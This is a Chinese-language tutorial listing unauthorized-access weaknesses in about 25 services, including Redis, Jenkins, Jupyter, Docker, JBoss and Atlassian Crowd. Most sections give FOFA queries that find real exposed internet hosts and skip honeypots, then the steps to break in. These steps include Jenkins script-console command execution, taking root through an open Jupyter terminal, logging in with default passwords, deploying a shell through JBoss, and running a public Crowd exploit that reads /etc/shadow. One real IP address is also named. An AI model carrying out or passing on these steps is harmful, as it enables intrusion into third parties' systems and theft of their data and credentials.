未授权访问漏洞合集

        今天我们来开一个新的坑，未授权访问漏洞，以后我会慢慢更新，大家可以持续跟进一下，谢谢大家！

未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷，导致其他用户可以直接访问，从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。日录遍历目前主要存在未授权访问漏洞的有:NFS 服务，Samba服务，LDAP，Rsync，FTPGitLab,Jenkins,MongoDB, Redis, ZooKeeper, ElasticSearch, Memcache,CouchDB，Docker,Solr,Hadoop,Dubbo 等...

一、Redis未授权访问漏洞

1.在fofa上搜索 port="6379"找到一个具有未授权访问漏洞的网页（6379为默认的redis端口号）

2.在kali里安装redis 命令为：apt install redis

3.安装成功后输入redis-cli -h ip地址 -p 6379，进入后输入info显示成功

#redis常见命令
(1)查看信息:info
(2)删除所有数据库内容:flushall
(3)刷新数据库:flushdb
(4)看所有键:KEYS *，使用selectnum可以查看键值数据
(5)设置变量:set test"whoami"
(6)config set dir dirpath 设置路径等配置
(7)config get dir/dbfilename 获取路径及数据配置信息
(8)save保存
(9)get 变量，查看变量名称

二、MongoDB未授权访问漏洞

1.因为mongoDB的默认端口为27017，我们直接在fofa上搜索 port="27017"(搜索端口号为27017的网站)

2.打开navicat进行连接连接名任意，主机填写找到的网址，点击测试连接，提示连接成功证明存在漏洞

三、Memcached未授权访问漏洞

Windows 下安装 Memcached | 菜鸟教程  下载64位1.4.5版本的

1.解压好在此目录打开命令行

2.在命令行输入memcached.exe -d install、memcached.exe -d start

3.打开kali输入telnet 存在漏洞的ip 11211进行telnet侦测

4.输入stats，查看memcache服务状态

5.使用Nmap程序的脚本进行漏洞扫描，nmap -p 11211 --script memcached-info ip地址

四、Zookeeper未授权访问漏洞

1.使用fofa搜索端口号为2181的网站

2.在kali中输入 echo envinc 114.242.175.75 2181 进行未授权访问漏洞测试

五、Jenkins未授权漏洞

1.在fofa中搜索 port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

2.在打开的页面地址栏后加/manage/script/index.php进入

3.在其中输入println "whoami".execute().text找到他的用户名

六、Jupyter NoteBook未授权访问漏洞

1.在fofa中搜索"Jupyter Notebook" && port="8888" && "terminals"

2.找到一个不需要密码的网站证明存在未授权访问漏洞，并且会直接跳到web管理界面

3.点击new-->termial新建一个终端

4.输入whomi、ls以及sudo su 进入root证明存在漏洞

七、Elasticsearch未授权访问漏洞

1.在fofa中搜索"Elasticsearch" && port="9200"

2.存在未授权漏洞可以直接访问3.在地址栏后加/_nodes可以查看节点信息

八、Kibana未授权访问漏洞

1.在fofa中搜索"kibana" && port="5601"

2.直接进入说明有未授权访问漏洞

九、Docker Remote APl未授权访问漏洞

1.在fofa中搜索port="2375"

2.可以查看到info信息证明存在漏洞

十、Kubernetes Api Server未授权访问漏洞

1.在fofa中搜索port="8080" && app="Kubernetes"

2.进入可以看到api信息证明存在未授权访问漏洞

十一、Hadoop未授权访问漏洞

1.在fofa中搜索port="8088" && app="Hadoop"

2.开启页面直接访问不经过用户密码验证.

十二、ActiveMQ未授权访问漏洞

1.在fofa中搜索body="ActiveMQ" && port="8161"

2.进入后点击manage....

3.在弹出的登录框中输入弱口令admin/admin即可成功进入

十三、RabbitMQ未授权访问漏洞

1.在fofa中搜索port="15672"

2.在进入的网站弹出的登录框中输入弱口令guest/guest进入即可

十四、Springboot Actuator未授权访问漏洞

1.在fofa中搜索icon_hash="116323821"

2.当进入显示以下界面时证明使用的是springboot框架

3.在地址栏后拼接一下路径查看泄露的数据

十五、FTP未授权访问漏洞(匿名登陆)

1.对目标环境在资源管理器中用以下格式访问，如果该服务器开启了匿名登陆，则可直接进行内容
查看..

十六、JBoss未授权访问漏洞

1.在fofa中搜索title="'Welcome to JBoss"

2.在url后增加/jmx-console/进入控制台页面

3.后续可以利用 jboss.deployment 部署shell

十七、Ldap未授权访问漏洞

1.在fofa中搜索port="389"

2.使用以下Fofa语法搜索使用Idap服务的产品….并通过Ldapadmin可视化工具做连接验证..

LDAP Admin download | SourceForge.net

3.启动工具并测试存在未授权的LDAP服务...成功如下.

点击connect

十八、Rsync未授权访问漏洞

1.在fofa中搜索  (port="873") && (is_honeypot=false && is_fraud=false)

2.在kali中打开终端输入  rsync rsync://ip:端口/

3.查看他的下级目录rsync rsync://ip:端口号/ereedu

十九、VNC未授权访问漏洞

1.使用fofa搜索(port="5900") && (is_honeypot=false && is_fraud=false)

2.vnc链接验证

二十、Dubbo未授权访问漏洞

1.使用fofa搜索  (app="APACHE-dubbo") && (is_honeypot=false && is_fraud=false)

2.打开kali 打开终端输入telnet ip port

二十一、NSF共享目录未授权访问

1.在fofa搜索框中搜索    "nfs"

2.在kali中安装nfs客户端

3.使用命令查看找到网站的nfs服务器上的共享目录

二十二、Druid未授权访问漏洞

1.使用fofa搜索 title="Druid Stat Index"

2.在打开的url后添加/druid/index.html，如果可以无需登录，即可登录到Druid监控界面，则说明该网站存在Druid未授权访问漏洞

也可以在后面跟
/system/druid/websession.html
/webpage/system/druid/websession.html

二十三、CouchDB未授权访问

1.使用fofa搜索 (port="5984") && (is_honeypot=false && is_fraud=flase)

2.使用kali执行未授权访问测试命令 curl ip:port

3.输入curl ip:port/_config

二十四、Altassian Crowd未授权访问漏洞

漏洞利用脚本github地址：https://github.com/jas502n/CVE-2019-11580

1.git clone https://github.com/jas502n/CVE-2019-11580

2.cd CVE-2019-11580/ 

3.python CVE-2019-11580.py http://192.168.18.138:8095 4.curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow 

二十五、RTSP未授权访问漏洞

1.在fofa中搜索  (port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"

2.下载vlc 点击媒体-->打开网络串流

3.将找到的网址填入后点击播放